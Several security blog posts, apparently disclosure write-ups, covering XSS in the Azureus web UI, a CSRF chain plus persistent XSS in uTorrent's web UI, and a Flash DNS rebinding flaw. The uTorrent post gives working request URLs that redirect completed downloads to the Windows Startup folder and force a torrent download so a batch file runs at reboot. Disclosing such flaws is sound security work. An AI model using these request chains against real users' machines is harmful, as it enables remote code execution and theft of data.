[ Azureus Web UI XSS ]

Like I said in my uTorrent CSRF post, "more torrent pwnage to come soon". Here it is.


The web UI plugin for Azureus is vulnerable to XSS which leads to Cross Zone scripting attacks since it starts up a web server on the local host and runs a web application.

I won't take the time to explain what all this means since I've done that at length in previous posts. I'll just summarize and say that through these vectors the user is vulnerable to arbitrary command execution, arbitrary read/write of files, and bypass of the same-origin policy (depending on the browser version the victim is using). Let's get right to the attacks.

http://localhost:6886/index.tmpl?search="));alert('xss');//

The vector listed above is one that I found in the search functionality of Azureus.

http://localhost:6886/index.tmpl?d=d&t="));alert('xss');//

And this one Nate found in the torrent details functionality. Obviously the "alert"s are just for PoC.


The post I referenced in a previous blog entry where I disclosed my uTorrent flaws has an example of an interesting CSRF related to the Azureus web UI, although this doesn't lead to system compromise necessarily.

Anyway, this is just another example of how web applications that have been coded with little thought towards security being run on your local machine are highly dangerous.

[ uTorrent Pwn3d ]

I was going to keep this under my hat, so to speak, but this has forced my hand.


I found a few CSRFs that when put together can make a pretty devastating attack against uTorrent's Web UI and the underlying system. Basically you can force uTorrent to move completed downloads to an arbitrary directory on their system, download arbitrary torrents, and completely pwn their box.

This guy from rooksecurity.com had a couple interesting CSRFs that will change the username and password required for the Web UI. But, in order for the attacker to change the username and password the user must already be authenticated...so why go to all that trouble? For this attack we're going to assume that the user is already authenticated to uTorrent's Web UI.

First of all you need a way to get a file on their computer. Not only that, but you want to be able to put that file in an arbitrary location of your choosing. To do that you need to turn on uTorrent's "Move completed downloads to" option.


Then you need to tell uTorrent what directory to move the completed file to.


The URL is cut off in the screenshot, so here's what's actually happening:

http://localhost:14774/gui/?action=setsetting&s=dir_completed_download&v=C:\
Documents%20and%20Settings\All%20Users\Start%20Menu\Programs\Startup

And this is what uTorrent's downloads preferences should now look like:


Completed files will be moved to the All Users Startup folder and once we can force them to download files we effectively have pwnage. I actually can force them to download a torrent by doing the following:

http://localhost:14774/gui/?action=add-url&s=http://www.whatever.com/file.torrent

Let's say that the torrent makes uTorrent download pwn.bat. Once the download finishes, pwn.bat resides in the Startup folder and gets executed when the user reboots. But wait, it gets worse...

uTorrent has an XSS in the Web UI! Remember my previous two posts about the dangers of local web servers? There are actually a few different spots to exploit this. Here are the PoC strings for the XSS vectors.

http://localhost:14774/gui/?action=setsetting&s=tracker_ip&
v=%3Cscript%3Ealert('xss')%3C/script%3E

http://localhost:14774/gui/?action=setsetting&s=ct_hist_comm&
v=%3Cscript%3Ealert('xss')%3C/script%3E

http://localhost:14774/gui/?action=setsetting&s=dir_active_download&
v=%3Cscript%3Ealert('xss')%3C/script%3E

These are ALL persistent XSS attacks. To make the malicious Javascript fire you need to force the user's browser to visit

http://localhost:14774/gui/?action=getsettings

Remember, the "localhost" portion is VERY important because you want to perform a Cross ZONE Scripting attack, not just XSS. You could use "loopback" in place of "localhost" as well. So, moving on...


If your target is using IE 6 then you don't have to force them to download a file to the Startup folder and wait for them to restart their box. All you have to do is force them to download the file to a location like C:\ and then execute it for them with the WScript.Shell ActiveXObject since your Javascript is in the Local Intranet zone.


Pwn3d. Stay tuned, more torrent pwnage to come soon...

[ Attack 0f T3h D0wd ]

I know everybody else has already blogged about this, but it impressed me so much I have to say something too. Nate and my Flash pwnage pales in comparison...

[ Flash DNS Rebinding Attack Explained ]

Instead of waiting a couple days to post about this, I guess I'll do it now. It's a pretty interesting flaw and since no one has posted the technical details of it yet, I'll be the one to do it.

First of all, this attack relies on DNS canonicalization differences between the browser and Flash. I'm going to pick on IE for this example.

So let's say your DNS search domain is mycompany.com and let's say your browser tries to go to the evil.com website. If evil.com can't be reached your system will start to look through your search domain by performing a DNS lookup for evil.com.mycompany.com (this is difficult because I need to be careful of my use of periods).

On the other hand, if your browser tries to go to evil.com. (notice the dot(.) on the end of that domain name) and it can't connect to it then it won't do any further lookups. It treats evil.com. as an absolute domain (I'm probably not using that terminology correctly, oh well).

The important thing to know here is that IE and Flash treat the differences between evil.com and evil.com. differently.


IE:
You go to evil.com, DNS lookup is performed for evil.com, the browser pins the resulting IP to evil.com and life is good. Then you go to evil.com., IE sees evil.com. as a totally DIFFERENT domain, performs a DNS lookup, pins that IP to evil.com. and life is still good.

All of the cross domain restrictions are in place that you would normally have. XMLHTTP requests are blocked, iframes are protected, etc.


Flash:
The SWF originates from the evil.com domain so URLLoader requests can only be made back to the same domain. But, Flash sees evil.com and evil.com. as THE SAME DOMAIN.


Attack:
Armed with the information above, we can come up with an attack scenario. Since IE treats evil.com and evil.com. as different domains and Flash treats them as the SAME domain, this means pwnage.

Flash allows requests to be made for evil.com. since it sees that as being the originating domain, it passes them off to IE which sees evil.com. as a DIFFERENT domain and performs a DNS lookup. By this time the attacker has changed the IP address for evil.com, either manually or automatically. IE performs the HTTP request for evil.com., passes that result back to Flash and it has now been pwned.


There is one obvious issue with what I've described above: How do you get the information you've obtained through your nefarious means back to your server if you're the attacker? Now that the domain evil.com is rebound in Flash it doesn't seem like an easy proposition.

That's where crossdomain.xml and the Socket class come in. If you have a crossdomain.xml file on your server and another domain name associated with that server, like 0mgurs0pwn3d.com, you can connect back and send the information you've stolen through binary (or probabably even XML) sockets.

Like I mentioned before, Nate and I used this exact flaw in our Picasa exploitation. I couldn't get traditional Anti-DNS Pinning working reliably so came up with this solution.

[ Flash DNS Rebinding Flaw Fixed ]

Well, I guess I can talk about it now since they've fixed it. Nate and I found a DNS rebinding flaw in Adobe Flash that had to do with domain name canonicalization. I'm going to post a more in depth explanation of how it worked in the coming days but I'm too busy for that right now.


Anyway, just a quick hint, this issue is actually the one we used to pull of our Picasa exploit in a reliable fasion...

edit: I would also like to point out that this is not the issue pdp found that he used to exploit routers via CSRF. I think the CVE we are given credit for in the Adobe advisory may be incorrect because it does not describe the vulnerability we discovered.

edit 2: Apparently the CVE reference was a typo on Adobe's part. Should be fixed soon hopefully. Also, there were 7 separate vulnerabilities addressed in the patch that was released including the flaw used to bring the Vista system to its knees in Pwn2Own.

edit 3: The CVE for the DNS Rebinding vulnerability is CVE-2008-1655.

[ ZDNet Zero Day Blog ]

Just want to mention my good buddy Nate's postings over at the zdnet zero day blog.

Blackhat Federal Day 1

Blackhat Federal Day 2

Airport Security

Congrats man. Now everybody go take a look and learn something!